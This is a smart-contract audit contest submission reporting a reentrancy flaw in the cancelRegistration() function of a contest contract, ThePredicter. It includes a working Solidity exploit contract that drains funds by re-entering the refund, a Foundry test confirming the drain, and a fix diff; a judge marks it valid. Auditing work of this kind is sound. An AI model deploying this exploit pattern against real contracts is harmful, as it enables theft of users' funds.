First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in cancelRegistration() function

singularity0x00

Reentrancy in cancelRegistration() function

Summary

cancelRegistration() function in ThePredicter.sol is vulnerable to reentrancy leading to loss of funds.

Vulnerability Details

In cancelRegistration() function, entrancefee is refunded before playerStatus is set to Cancelled thus it is possible to call cancelRegistration() again and get contract to refund entrancefee more than once as function state is still Pending.

Exploit Contract

pragma solidity 0.8.20;
​
interface IThePredicter {
function cancelRegistration() external;
function register() external payable;
}
​
contract ExploitReentry {
IThePredicter public predicter;
​
constructor(address _predicter) {
predicter = IThePredicter(_predicter);
}
​
function register() public {
predicter.register{value: 0.04 ether}();
predicter.cancelRegistration();
}
​
fallback() external payable {}
​
receive() external payable {
if (address(predicter).balance > 0 ether) {
predicter.cancelRegistration();
}
}
}

Foundry test for confirmation

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
​
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
import {ExploitReentry} from "../src/Exploit_reentry.sol";
​
contract ThePredicterTest is Test {
ExploitReentry public expReentry;
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
​
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(address(scoreBoard), 0.04 ether, 0.0001 ether);
expReentry = new ExploitReentry(address(thePredicter));
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
​
function test_cancelRegistrationReentry() public {
vm.deal(address(expReentry), 1 ether);
vm.deal(address(thePredicter), 10 ether);
console.log("Exploit balance before: ", address(expReentry).balance);
expReentry.register();
assertEq(address(expReentry).balance, 11 ether);
console.log("Exploit Balance after: ", address(expReentry).balance);
}
}

Impact

Re-entrancy can lead to theft of all funds in contract.

Tools Used

Manual Review, Foundry

Recommendations

  • Execute the state change playersStatus[msg.sender] = Status.Canceled; before call (bool success,) = msg.sender.call{value: entranceFee}("");

    function cancelRegistration() public {
    if (playersStatus[msg.sender] == Status.Pending) {
    + playersStatus[msg.sender] = Status.Canceled;
    (bool success,) = msg.sender.call{value: entranceFee}("");
    require(success, "Failed to withdraw");
    - playersStatus[msg.sender] = Status.Canceled;
    return;
    }
    revert ThePredicter__NotEligibleForWithdraw();
    }

  • Use special modifiers like reentrancygaurd. from openzepplin's ReentrancyGaurd.sol

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.